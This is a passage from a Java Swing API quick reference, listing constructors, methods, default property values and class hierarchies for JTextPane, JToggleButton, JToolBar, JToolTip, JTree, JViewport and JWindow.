Call setCharacterAttributes() to specify attributes, such as font size and style, that apply to individual characters. This method either sets the attributes of the currently selected text, or, if there is no selection, specifies attributes to be applied to text inserted in the future. The boolean replace argument indicates whether these attributes should replace the previous attributes or should augment them. setParagraphAttributes() is a similar method, but it sets attributes, such as margins and justification, that apply to entire paragraphs of text.

In addition to displaying formatted text, JTextPane can also display images and arbitrary components. JTextPane provides the insertComponent() and insertIcon() methods to make it easy to insert objects of these types without having to manipulate the StyledDocument object.

public class JTextPane extends JEditorPane {
// | Public Constructors
 | public JTextPane (); |
 | public JTextPane (javax.swing.text.StyledDocument doc); |
// | Property Accessor Methods (by property name)
 | public javax.swing.text.AttributeSet getCharacterAttributes (); | default:LeafElement
 | public void setDocument (javax.swing.text.Document doc); | Overrides:JTextComponent
 | public final void setEditorKit (javax.swing.text.EditorKit kit); | Overrides:JEditorPane
 | public javax.swing.text.MutableAttributeSet getInputAttributes (); |
 | public javax.swing.text.Style getLogicalStyle (); | default:NamedStyle
 | public void setLogicalStyle (javax.swing.text.Style s); |
 | public javax.swing.text.AttributeSet getParagraphAttributes (); | default:BranchElement
 | public boolean getScrollableTracksViewportWidth (); | Overrides:JEditorPane constant default:true
 | public javax.swing.text.StyledDocument getStyledDocument (); | default:DefaultStyledDocument
 | public void setStyledDocument (javax.swing.text.StyledDocument doc); |
 | public String getUIClassID (); | Overrides:JEditorPane default:"TextPaneUI"
// | Public Instance Methods
 | public javax.swing.text.Style addStyle (String nm, javax.swing.text.Style parent); |
 | public javax.swing.text.Style getStyle (String nm); |
 | public void insertComponent (Component c); |
 | public void insertIcon (Icon g); |
 | public void removeStyle (String nm); |
 | public void setCharacterAttributes (javax.swing.text.AttributeSet attr, boolean replace); |
 | public void setParagraphAttributes (javax.swing.text.AttributeSet attr, boolean replace); |
// | Public Methods Overriding JEditorPane
 | public void replaceSelection (String content); |
// | Protected Methods Overriding JEditorPane
 | protected javax.swing.text.EditorKit createDefaultEditorKit (); |
 | protected String paramString (); |
// | Protected Instance Methods
 | protected final javax.swing.text.StyledEditorKit getStyledEditorKit (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->javax.swing.text.JTextComponent(Accessible,Scrollable)-->JEditorPane-->JTextPane

JToggleButton | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements a toggle button: a button that can be selected or deselected. The user can toggle between the selected and deselected states by clicking the button. Like all Swing buttons, a JToggleButton can display text and an icon. The selection state is typically indicated by the button border and background color. You can also call setIcon() and setSelectedIcon() to specify different icons for the default and selected states. By default, JToggleButton keeps track of its selection state with a JToggleButton.ToggleButtonModel object. JToggleButton is less commonly used than its subclasses JCheckBox and JRadioButton.

public class JToggleButton extends AbstractButton implements Accessible {
// | Public Constructors
 | public JToggleButton (); |
 | public JToggleButton (Icon icon); |
 | public JToggleButton (String text); |
 | public JToggleButton (String text, Icon icon); |
 | public JToggleButton (Icon icon, boolean selected); |
 | public JToggleButton (String text, boolean selected); |
 | public JToggleButton (String text, Icon icon, boolean selected); |
// | Inner Classes
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJToggleButton expert
 | public String getUIClassID (); | Overrides:JComponent default:"ToggleButtonUI"
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJToggleButton expert
// | Public Methods Overriding AbstractButton
 | public void updateUI (); |
// | Protected Methods Overriding AbstractButton
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JToggleButton(Accessible)

Subclasses: JCheckBox, JRadioButton

JToggleButton.ToggleButtonModel | Java 1.2
javax.swing | serializable model

This class is the ButtonModel used by default by JToggleButton, JCheckBox, and JRadioButton components. It overrides several methods of DefaultButtonModel in order to delegate button selection state information to a ButtonGroup object. Applications typically never need to instantiate this class.

public static class JToggleButton.ToggleButtonModel extends DefaultButtonModel {
// | Public Constructors
 | public ToggleButtonModel (); |
// | Public Methods Overriding DefaultButtonModel
 | public boolean isSelected (); | default:false
 | public void setPressed (boolean b); |
 | public void setSelected (boolean b); |
}
JToolBar | Java 1.2
javax.swing | serializable accessible swing component

JToolBar is a container that displays a row or column of children, typically JButton children, that represent application tools or actions. JToolBar has two special features that make it useful in applications. First, it has a special add() method that allows you to add an Action object, rather than a Component, to it. When you do this, an appropriate JButton is automatically created. This created button tracks the enabled state of the action, so if the action is disabled, the button becomes disabled as well. The JMenu class has this same ability to accept Action objects as children; the commonly used actions of an application frequently appear in both JMenu and JToolBar components of the application. A JToolBar can contain special separator components that serve to group related tools and separate unrelated tools. You can add a separator to a JToolBar with the special addSeparator() method.

The second special feature of JToolBar is that it is draggable. Unless this feature has been disabled with setFloatable(), a JToolBar displays a special grip that the user can use to drag the toolbar. If the user drags the toolbar out of the window in which it appears, it becomes a floating palette in a window of its own. Additionally, if the JToolBar is positioned against one edge of a container that uses a java.awt.BorderLayout layout manager and if there are no other components positioned against the edges, the user can drag the JToolBar to any other edge of the container. The conventional orientation and position for a JToolBar is a horizontal row of controls positioned just below the menubar at the top of a window. By dragging the JToolBar, however, a user can automatically convert it to a vertical toolbar positioned against the left edge of the window, for example.

JToolBar defines only a few interesting properties. As mentioned earlier, floatable specifies whether the user can drag the JToolBar. orientation specifies whether the JToolBar arranges its children into a horizontal or vertical bar. The value of this property should be one of the SwingConstants constants HORIZONTAL or VERTICAL. The default is HORIZONTAL. Finally, the margin property specifies the amount of space between the border of the toolbar and its children.

public class JToolBar extends JComponent implements Accessible, SwingConstants {
// | Public Constructors
 | public JToolBar (); |
 | public JToolBar (int orientation); |
// | Inner Classes
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJToolBar
 | public boolean isBorderPainted (); | default:true
 | public void setBorderPainted (boolean b); | bound expert
 | public boolean isFloatable (); | default:true
 | public void setFloatable (boolean b); | bound preferred
 | public java.awt.Insets getMargin (); |
 | public void setMargin (java.awt.Insets m); | bound expert
 | public int getOrientation (); | default:0
 | public void setOrientation (int o); | bound preferred
 | public javax.swing.plaf.ToolBarUI getUI (); |
 | public void setUI (javax.swing.plaf.ToolBarUI ui); | bound expert hidden
 | public String getUIClassID (); | Overrides:JComponent default:"ToolBarUI"
// | Public Instance Methods
 | public JButton add (Action a); |
 | public void addSeparator (); |
 | public void addSeparator (java.awt.Dimension size); |
 | public Component getComponentAtIndex (int i); |
 | public int getComponentIndex (Component c); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJToolBar
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected void paintBorder (java.awt.Graphics g); |
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public void remove (Component comp); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Protected Instance Methods
 | protected java.beans.PropertyChangeListener createActionChangeListener (JButton b); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JToolBar(Accessible,SwingConstants)

JToolBar.Separator | Java 1.2
javax.swing | serializable accessible swing component

This subclass of JSeparator defines a visual separator component specially tuned for use within a JToolBar. Practically speaking, this class is no different than JSeparator. You should rarely need to explicitly create or work with a JToolBar.Separator. Just call JToolBar.addSeparator() as needed to create separators and add them to a JToolBar.

public static class JToolBar.Separator extends JSeparator {
// | Public Constructors
 | public Separator (); |
 | public Separator (java.awt.Dimension size); |
// | Property Accessor Methods (by property name)
 | public java.awt.Dimension getMaximumSize (); | Overrides:JComponent
 | public java.awt.Dimension getMinimumSize (); | Overrides:JComponent
 | public java.awt.Dimension getPreferredSize (); | Overrides:JComponent
 | public java.awt.Dimension getSeparatorSize (); | default:DimensionUIResource
 | public void setSeparatorSize (java.awt.Dimension size); |
 | public String getUIClassID (); | Overrides:JSeparator
}
JToolTip | Java 1.2
javax.swing | serializable accessible swing component

JToolTip is the component used to display tooltips in Swing applications. To display a tooltip over a component, simply call setToolTipText() over that component. You rarely or never need to work with the JToolTip class itself. If you want to customize the appearance of the tooltip displayed by a component, you can override the createToolTip() method of that component, to return your own JToolTip object.

public class JToolTip extends JComponent implements Accessible {
// | Public Constructors
 | public JToolTip (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJToolTip
 | public JComponent getComponent (); | default:null
 | public void setComponent (JComponent c); |
 | public String getTipText (); | default:null
 | public void setTipText (String tipText); | bound preferred
 | public javax.swing.plaf.ToolTipUI getUI (); |
 | public String getUIClassID (); | Overrides:JComponent default:"ToolTipUI"
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJToolTip
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JToolTip(Accessible)

Returned By: JComponent.createToolTip()

JTree | Java 1.2
javax.swing | serializable accessible(selection) swing component

JTree is a powerful Swing component for displaying hierarchical, tree-structured data in outline form. The user can expand and collapse the outline to show or hide the children of any node in the tree. The user can also select and optionally edit the values displayed in the tree.

JTree relies on the classes and interfaces in the javax.swing.tree package. Most importantly, it uses a TreeModel object to encapsulate the tree data it displays. If your data already has a hierarchical structure, you should implement a TreeModel class to serve as an intermediary between your data structures and the JTree component. If your data is not implicitly hierarchical, you can arrange it into a hierarchy by implementing the TreeNode or MutableTreeNode interface or by encapsulating your objects within DefaultMutableTreeNode objects that implement these interfaces for you. Once you have done this, you can rely on the default JTree model, DefaultTreeModel.

JTree also defines constructors that accept tree data in the form of an Object[], a Vector, or a Hashtable. If your data is relatively simple and you can express it in one of these forms, it is easy to use one of these constructors to display your data. If you specify a vector or object array, the elements of the vector or array become the nodes of the tree. If any of those elements are a vector, array, or hashtable, the contents of that element become the children of that node. If you specify a Hashtable, the keys of the hashtable become the nodes of the tree and the values of the hashtable become the children of those nodes. This is particularly useful, of course, if the hashtable values are arrays or vectors.

By default, tree nodes are not editable. You can change this, however, with the setEditable() method. The selection state and selection mode of a JTree is maintained by a javax.swing.tree.TreeSelectionModel object. By default, JTree uses a DefaultTreeSelectionModel object. You can set your own object with setSelectionModel(). Use the setSelectionMode() method of the TreeSelectionModel to specify the type of selection that is supported by the JTree. To disable selection in a JTree altogether, pass null to setSelectionModel().

JTree defines a number of methods for setting and querying the current selection state of the tree. It also defines methods for collapsing and expanding nodes and for querying nodes to determine whether they are expanded. These methods use two different techniques for referring to a particular node in the tree. One technique is to specify the integer row number at which the item appears. While this is a convenient way to refer to an item that the user has selected, for example, it does not map naturally to an item in the TreeModel. The other way to refer to an item in a JTree is with a javax.swing.tree.TreePath object. A TreePath is essentially an array of objects that contains the node itself and all of its ancestors up to the root of the tree. The first element in the array is the root, and the last element is the tree node that is being referred to. The methods getPathForRow() and getRowForPath() allow you to convert from one node representation to another. Related methods convert between X, Y coordinates (such as the coordinates contained in a MouseEvent) and the nearest TreePath or tree row.

JTree displays its nodes using a javax.swing.tree.TreeCellRenderer object. By default, it uses DefaultTreeCellRenderer, which displays any object in the tree in text form by calling its toString() method. If you want to display custom objects in a tree, you can implement your own TreeCellRenderer and pass an instance to setCellRenderer(). JTree does not allow its nodes to be edited by default, but when editing is enabled, it is done with a TreeCellEditor object. The DefaultTreeCellEditor allows editing of String and Boolean nodes. You can implement your own TreeCellEditor if you want to allow the user to edit other node types.

JTree defines quite a few methods for querying and setting the state of the tree. The purpose of most of these methods is fairly obvious. One thing to note is that different methods use the word "visible" to mean different things. The methods isVisible() and makeVisible() use "visible" to refer to a node that is displayed under an expanded parent. Under this definition, a node may be visible even if it is currently scrolled off the screen. All other methods, such as scrollPathToVisible(), use "visible" to mean that a node is actually on the screen and currently visible to the user.

JTree implements the Scrollable interface, and, unless you are displaying a very small, fixed-size tree, you should almost always place a JTree within a JScrollPane container. If you are using JTree to view a large amount of data, if all the nodes are of the same type, and if the TreeModel has an efficient implementation, you may get better performance by passing true to setLargeModel().

public class JTree extends JComponent implements Accessible, Scrollable {
// | Public Constructors
 | public JTree (); |
 | public JTree (java.util.Vector value); |
 | public JTree (javax.swing.tree.TreeNode root); |
 | public JTree (java.util.Hashtable value); |
 | public JTree (Object[ ] value); |
 | public JTree (javax.swing.tree.TreeModel newModel); |
 | public JTree (javax.swing.tree.TreeNode root, boolean asksAllowsChildren); |
// | Public Constants
 | public static final String CELL_EDITOR_PROPERTY ; | ="cellEditor"
 | public static final String CELL_RENDERER_PROPERTY ; | ="cellRenderer"
 | public static final String EDITABLE_PROPERTY ; | ="editable"
 | public static final String INVOKES_STOP_CELL_EDITING_PROPERTY ; | ="messagesStopCellEditing"
 | public static final String LARGE_MODEL_PROPERTY ; | ="largeModel"
 | public static final String ROOT_VISIBLE_PROPERTY ; | ="rootVisible"
 | public static final String ROW_HEIGHT_PROPERTY ; | ="rowHeight"
 | public static final String SCROLLS_ON_EXPAND_PROPERTY ; | ="scrollsOnExpand"
 | public static final String SELECTION_MODEL_PROPERTY ; | ="selectionModel"
 | public static final String SHOWS_ROOT_HANDLES_PROPERTY ; | ="showsRootHandles"
 | public static final String TREE_MODEL_PROPERTY ; | ="treeModel"
 | public static final String VISIBLE_ROW_COUNT_PROPERTY ; | ="visibleRowCount"
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
// | Protected Class Methods
 | protected static javax.swing.tree.TreeModel createTreeModel (Object value); |
 | protected static javax.swing.tree.TreeModel getDefaultTreeModel (); |
// | Event Registration Methods (by event name)
 | public void addTreeExpansionListener (javax.swing.event.TreeExpansionListener tel); |
 | public void removeTreeExpansionListener (javax.swing.event.TreeExpansionListener tel); |
 | public void addTreeSelectionListener (javax.swing.event.TreeSelectionListener tsl); |
 | public void removeTreeSelectionListener (javax.swing.event.TreeSelectionListener tsl); |
 | public void addTreeWillExpandListener (javax.swing.event.TreeWillExpandListener tel); |
 | public void removeTreeWillExpandListener (javax.swing.event.TreeWillExpandListener tel); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJTree
 | public javax.swing.tree.TreeCellEditor getCellEditor (); | default:null
 | public void setCellEditor (javax.swing.tree.TreeCellEditor cellEditor); | bound
 | public javax.swing.tree.TreeCellRenderer getCellRenderer (); | default:DefaultTreeCellRenderer
 | public void setCellRenderer (javax.swing.tree.TreeCellRenderer x); | bound
 | public boolean isEditable (); | default:false
 | public void setEditable (boolean flag); | bound
 | public boolean isEditing (); | default:false
 | public javax.swing.tree.TreePath getEditingPath (); | default:null
 | public boolean isFixedRowHeight (); | default:false
 | public boolean getInvokesStopCellEditing (); | default:false
 | public void setInvokesStopCellEditing (boolean newValue); | bound
 | public boolean isLargeModel (); | default:false
 | public void setLargeModel (boolean newValue); | bound
 | public Object getLastSelectedPathComponent (); | default:null
 | public javax.swing.tree.TreePath getLeadSelectionPath (); | default:null
 | public int getLeadSelectionRow (); | default:-1
 | public int getMaxSelectionRow (); | default:-1
 | public int getMinSelectionRow (); | default:-1
 | public javax.swing.tree.TreeModel getModel (); | default:DefaultTreeModel
 | public void setModel (javax.swing.tree.TreeModel newModel); | bound
 | public java.awt.Dimension getPreferredScrollableViewportSize (); | Implements:Scrollable
 | public boolean isRootVisible (); | default:true
 | public void setRootVisible (boolean rootVisible); | bound
 | public int getRowCount (); | default:4
 | public int getRowHeight (); | default:0
 | public void setRowHeight (int rowHeight); | bound
 | public boolean getScrollableTracksViewportHeight (); | Implements:Scrollable default:false
 | public boolean getScrollableTracksViewportWidth (); | Implements:Scrollable default:false
 | public boolean getScrollsOnExpand (); | default:true
 | public void setScrollsOnExpand (boolean newValue); |
 | public int getSelectionCount (); | default:0
 | public boolean isSelectionEmpty (); | default:true
 | public javax.swing.tree.TreeSelectionModel getSelectionModel (); | default:DefaultTreeSelectionModel
 | public void setSelectionModel (javax.swing.tree.TreeSelectionModel selectionModel); | bound
 | public javax.swing.tree.TreePath getSelectionPath (); | default:null
 | public void setSelectionPath (javax.swing.tree.TreePath path); |
 | public javax.swing.tree.TreePath[ ] getSelectionPaths (); | default:null
 | public void setSelectionPaths (javax.swing.tree.TreePath[ ] paths); |
 | public int[ ] getSelectionRows (); | default:null
 | public void setSelectionRows (int[ ] rows); |
 | public boolean getShowsRootHandles (); | default:false
 | public void setShowsRootHandles (boolean newValue); | bound
 | public javax.swing.plaf.TreeUI getUI (); |
 | public void setUI (javax.swing.plaf.TreeUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"TreeUI"
 | public int getVisibleRowCount (); | default:20
 | public void setVisibleRowCount (int newCount); | bound
// | Public Instance Methods
 | public void addSelectionInterval (int index0, int index1); |
 | public void addSelectionPath (javax.swing.tree.TreePath path); |
 | public void addSelectionPaths (javax.swing.tree.TreePath[ ] paths); |
 | public void addSelectionRow (int row); |
 | public void addSelectionRows (int[ ] rows); |
 | public void cancelEditing (); |
 | public void clearSelection (); |
 | public void collapsePath (javax.swing.tree.TreePath path); |
 | public void collapseRow (int row); |
 | public String convertValueToText (Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus); |
 | public void expandPath (javax.swing.tree.TreePath path); |
 | public void expandRow (int row); |
 | public void fireTreeCollapsed (javax.swing.tree.TreePath path); |
 | public void fireTreeExpanded (javax.swing.tree.TreePath path); |
 | public void fireTreeWillCollapse (javax.swing.tree.TreePath path) throws javax.swing.tree.ExpandVetoException; |
 | public void fireTreeWillExpand (javax.swing.tree.TreePath path) throws javax.swing.tree.ExpandVetoException; |
 | public javax.swing.tree.TreePath getClosestPathForLocation (int x, int y); |
 | public int getClosestRowForLocation (int x, int y); |
 | public java.util.Enumeration getExpandedDescendants (javax.swing.tree.TreePath parent); |
 | public java.awt.Rectangle getPathBounds (javax.swing.tree.TreePath path); |
 | public javax.swing.tree.TreePath getPathForLocation (int x, int y); |
 | public javax.swing.tree.TreePath getPathForRow (int row); |
 | public java.awt.Rectangle getRowBounds (int row); |
 | public int getRowForLocation (int x, int y); |
 | public int getRowForPath (javax.swing.tree.TreePath path); |
 | public boolean hasBeenExpanded (javax.swing.tree.TreePath path); |
 | public boolean isCollapsed (int row); |
 | public boolean isCollapsed (javax.swing.tree.TreePath path); |
 | public boolean isExpanded (int row); |
 | public boolean isExpanded (javax.swing.tree.TreePath path); |
 | public boolean isPathEditable (javax.swing.tree.TreePath path); |
 | public boolean isPathSelected (javax.swing.tree.TreePath path); |
 | public boolean isRowSelected (int row); |
 | public boolean isVisible (javax.swing.tree.TreePath path); |
 | public void makeVisible (javax.swing.tree.TreePath path); |
 | public void removeSelectionInterval (int index0, int index1); |
 | public void removeSelectionPath (javax.swing.tree.TreePath path); |
 | public void removeSelectionPaths (javax.swing.tree.TreePath[ ] paths); |
 | public void removeSelectionRow (int row); |
 | public void removeSelectionRows (int[ ] rows); |
 | public void scrollPathToVisible (javax.swing.tree.TreePath path); |
 | public void scrollRowToVisible (int row); |
 | public void setSelectionInterval (int index0, int index1); |
 | public void setSelectionRow (int row); |
 | public void startEditingAtPath (javax.swing.tree.TreePath path); |
 | public boolean stopEditing (); |
 | public void treeDidChange (); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJTree
// | Methods Implementing Scrollable
 | public java.awt.Dimension getPreferredScrollableViewportSize (); |
 | public int getScrollableBlockIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
 | public boolean getScrollableTracksViewportHeight (); | default:false
 | public boolean getScrollableTracksViewportWidth (); | default:false
 | public int getScrollableUnitIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
// | Public Methods Overriding JComponent
 | public String getToolTipText (java.awt.event.MouseEvent event); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected void clearToggledPaths (); |
 | protected javax.swing.event.TreeModelListener createTreeModelListener (); |
 | protected void fireValueChanged (javax.swing.event.TreeSelectionEvent e); |
 | protected java.util.Enumeration getDescendantToggledPaths (javax.swing.tree.TreePath parent); |
 | protected javax.swing.tree.TreePath[ ] getPathBetweenRows (int index0, int index1); |
 | protected void removeDescendantToggledPaths (java.util.Enumeration toRemove); |
 | protected void setExpandedState (javax.swing.tree.TreePath path, boolean state); |
// | Protected Instance Fields
 | protected transient javax.swing.tree.TreeCellEditor cellEditor ; |
 | protected transient javax.swing.tree.TreeCellRenderer cellRenderer ; |
 | protected boolean editable ; |
 | protected boolean invokesStopCellEditing ; |
 | protected boolean largeModel ; |
 | protected boolean rootVisible ; |
 | protected int rowHeight ; |
 | protected boolean scrollsOnExpand ; |
 | protected transient javax.swing.tree.TreeSelectionModel selectionModel ; |
 | protected transient JTree.TreeSelectionRedirector selectionRedirector ; |
 | protected boolean showsRootHandles ; |
 | protected int toggleClickCount ; |
 | protected transient javax.swing.tree.TreeModel treeModel ; |
 | protected transient javax.swing.event.TreeModelListener treeModelListener ; |
 | protected int visibleRowCount ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JTree(Accessible,Scrollable)

Passed To: Too many methods to list.

Type Of: javax.swing.tree.DefaultTreeCellEditor.tree

JTree.DynamicUtilTreeNode | Java 1.2
javax.swing | cloneable serializable

This subclass of javax.swing.tree.DefaultMutableTreeNode is used by the JTree constructors that accept tree data in the form of a Vector, Hashtable, or Object[]. The static createChildren() method is used to populate a node with the children contained in a specified Vector, Hashtable, or array. DynamicUtilTreeNode is dynamic in the sense that it dynamically creates children nodes when those nodes are requested for the first time.

public static class JTree.DynamicUtilTreeNode extends javax.swing.tree.DefaultMutableTreeNode {
// | Public Constructors
 | public DynamicUtilTreeNode (Object value, Object children);
// | Public Class Methods
 | public static void createChildren (javax.swing.tree.DefaultMutableTreeNode parent, Object children);
// | Public Methods Overriding DefaultMutableTreeNode
 | public java.util.Enumeration children ();
 | public javax.swing.tree.TreeNode getChildAt (int index);
 | public int getChildCount ();
 | public boolean isLeaf ();
// | Protected Instance Methods
 | protected void loadChildren ();
// | Protected Instance Fields
 | protected Object childValue ;
 | protected boolean hasChildren ;
 | protected boolean loadedChildren ;
}
JTree.EmptySelectionModel | Java 1.2
javax.swing | cloneable serializable model

This subclass of javax.swing.tree.DefaultTreeSelectionModel defines empty selection methods and is used to disable selection in a JTree. You never need to instantiate this class explicitly; simply pass null to the setSelectionModel() method of JTree.

protected static class JTree.EmptySelectionModel extends javax.swing.tree.DefaultTreeSelectionModel {
// | Protected Constructors
 | protected EmptySelectionModel (); |
// | Protected Constants
 | protected static final JTree.EmptySelectionModel sharedInstance ; |
// | Public Class Methods
 | public static JTree.EmptySelectionModel sharedInstance (); |
// | Public Methods Overriding DefaultTreeSelectionModel
 | public void addSelectionPaths (javax.swing.tree.TreePath[ ] paths); | empty
 | public void removeSelectionPaths (javax.swing.tree.TreePath[ ] paths); | empty
 | public void setSelectionPaths (javax.swing.tree.TreePath[ ] pPaths); | empty
}

Returned By: JTree.EmptySelectionModel.sharedInstance()

Type Of: JTree.EmptySelectionModel.sharedInstance

JTree.TreeModelHandler Java 1.2
javax.swing

This class is a javax.swing.event.TreeModelListener used internally by JTree to track changes made to the tree data contained in the TreeModel. Applications never need to use this class.

protected class JTree.TreeModelHandler implements javax.swing.event.TreeModelListener {
// | Protected Constructors
 | protected TreeModelHandler (); |
// | Methods Implementing TreeModelListener
 | public void treeNodesChanged (javax.swing.event.TreeModelEvent e); | empty
 | public void treeNodesInserted (javax.swing.event.TreeModelEvent e); | empty
 | public void treeNodesRemoved (javax.swing.event.TreeModelEvent e); |
 | public void treeStructureChanged (javax.swing.event.TreeModelEvent e); |
}
JTree.TreeSelectionRedirector | Java 1.2
javax.swing | serializable

This javax.swing.event.TreeSelectionListener class is used internally by JTree to redirect javax.swing.tree.TreeSelectionEvent objects so that they appear to come from the JTree, rather than the TreeSelectionModel object. Applications never need to use this class.

protected class JTree.TreeSelectionRedirector implements Serializable, javax.swing.event.TreeSelectionListener {
// | Protected Constructors
 | protected TreeSelectionRedirector ();
// | Methods Implementing TreeSelectionListener
 | public void valueChanged (javax.swing.event.TreeSelectionEvent e);
}

Type Of: JTree.selectionRedirector

JViewport | Java 1.2
javax.swing | serializable accessible swing component

This component displays a portion of the larger child component it contains. It defines methods for efficiently scrolling the child component within the viewable area. Pass true to setBackingStoreEnabled() to use an off-screen image to increase the efficiency of small scrolls. JViewport is used by JScrollPane, and most applications use JScrollPane instead of using JViewport directly.

public class JViewport extends JComponent implements Accessible {
// | Public Constructors
 | public JViewport (); |
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJViewport
 | public boolean isBackingStoreEnabled (); | default:false
 | public void setBackingStoreEnabled (boolean x); |
 | public final void setBorder (javax.swing.border.Border border); | Overrides:JComponent
 | public java.awt.Dimension getExtentSize (); |
 | public void setExtentSize (java.awt.Dimension newExtent); |
 | public final java.awt.Insets getInsets (); | Overrides:JComponent
 | public final java.awt.Insets getInsets (java.awt.Insets insets); | Overrides:JComponent expert
 | public boolean isOptimizedDrawingEnabled (); | Overrides:JComponent constant default:false
 | public Component getView (); | default:null
 | public void setView (Component view); |
 | public java.awt.Point getViewPosition (); |
 | public void setViewPosition (java.awt.Point p); |
 | public java.awt.Rectangle getViewRect (); |
 | public java.awt.Dimension getViewSize (); |
 | public void setViewSize (java.awt.Dimension newSize); |
// | Public Instance Methods
 | public java.awt.Dimension toViewCoordinates (java.awt.Dimension size); |
 | public java.awt.Point toViewCoordinates (java.awt.Point p); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJViewport
// | Public Methods Overriding JComponent
 | public void paint (java.awt.Graphics g); |
 | public void repaint (long tm, int x, int y, int w, int h); |
 | public void reshape (int x, int y, int w, int h); |
 | public void scrollRectToVisible (java.awt.Rectangle contentRect); |
// | Protected Methods Overriding JComponent
 | protected void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public void remove (Component child); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component child, Object constraints, int index); |
// | Protected Instance Methods
 | protected boolean computeBlit (int dx, int dy, java.awt.Point blitFrom, java.awt.Point blitTo, java.awt.Dimension blitSize, java.awt.Rectangle blitPaint); |
 | protected java.awt.LayoutManager createLayoutManager (); |
 | protected JViewport.ViewListener createViewListener (); |
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected boolean backingStore ; |
 | protected transient java.awt.Image backingStoreImage ; |
 | protected boolean isViewSizeSet ; |
 | protected java.awt.Point lastPaintPosition ; |
 | protected boolean scrollUnderway ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JViewport(Accessible)

Passed To: JScrollPane.{setColumnHeader(), setRowHeader(), setViewport()}

Returned By: JScrollPane.{createViewport(), getColumnHeader(), getRowHeader(), getViewport()}, ScrollPaneLayout.{getColumnHeader(), getRowHeader(), getViewport()}

Type Of: JScrollPane.{columnHeader, rowHeader, viewport}, JScrollPane.AccessibleJScrollPane.viewPort, ScrollPaneLayout.{colHead, rowHead, viewport}

JViewport.ViewListener | Java 1.2
javax.swing | serializable

This ComponentListener is used internally by JViewport to detect changes to the child component. Applications never use this class directly.

protected class JViewport.ViewListener extends java.awt.event.ComponentAdapter implements Serializable {
// | Protected Constructors
 | protected ViewListener ();
// | Public Methods Overriding ComponentAdapter
 | public void componentResized (java.awt.event.ComponentEvent e);
}

Returned By: JViewport.createViewListener()

JWindow | Java 1.2
javax.swing | serializable accessible swing component bean container

This class is the Swing analog of the java.awt.Window class. It is a basic heavyweight top-level window with no titlebar or other frame decorations. Most applications use JFrame and JDialog in preference to JWindow. Like JFrame and JDialog, JWindow is a RootPaneContainer, which means that it has an automatically created JRootPane as its single child. You are not allowed to add children or set a layout manager on the JWindow itself. Instead, you must use the container returned by the getContentPane().

public class JWindow extends java.awt.Window implements Accessible, RootPaneContainer {
// | Public Constructors
 | public JWindow (); |
 | public JWindow (java.awt.Window owner); |
 | public JWindow (java.awt.Frame owner); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJWindow
 | public Container getContentPane (); | Implements:RootPaneContainer default:JPanel
 | public void setContentPane (Container contentPane); | Implements:RootPaneContainer hidden
 | public Component getGlassPane (); | Implements:RootPaneContainer default:JPanel
 | public void setGlassPane (Component glassPane); | Implements:RootPaneContainer hidden
 | public JLayeredPane getLayeredPane (); | Implements:RootPaneContainer
 | public void setLayeredPane (JLayeredPane layeredPane); | Implements:RootPaneContainer hidden
 | public void setLayout (java.awt.LayoutManager manager); | Overrides:Container
 | public JRootPane getRootPane (); | Implements:RootPaneContainer
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJWindow
// | Methods Implementing RootPaneContainer
 | public Container getContentPane (); | default:JPanel
 | public Component getGlassPane (); | default:JPanel
 | public JLayeredPane getLayeredPane (); |
 | public JRootPane getRootPane (); |
